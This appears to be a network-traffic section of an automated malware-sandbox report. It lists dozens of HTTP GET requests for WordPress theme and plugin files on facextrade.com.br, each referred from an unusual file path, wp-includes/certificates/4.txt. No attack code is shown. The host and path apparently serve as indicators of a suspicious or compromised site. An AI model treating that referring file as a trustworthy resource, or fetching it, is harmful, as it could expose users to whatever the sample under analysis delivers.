Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
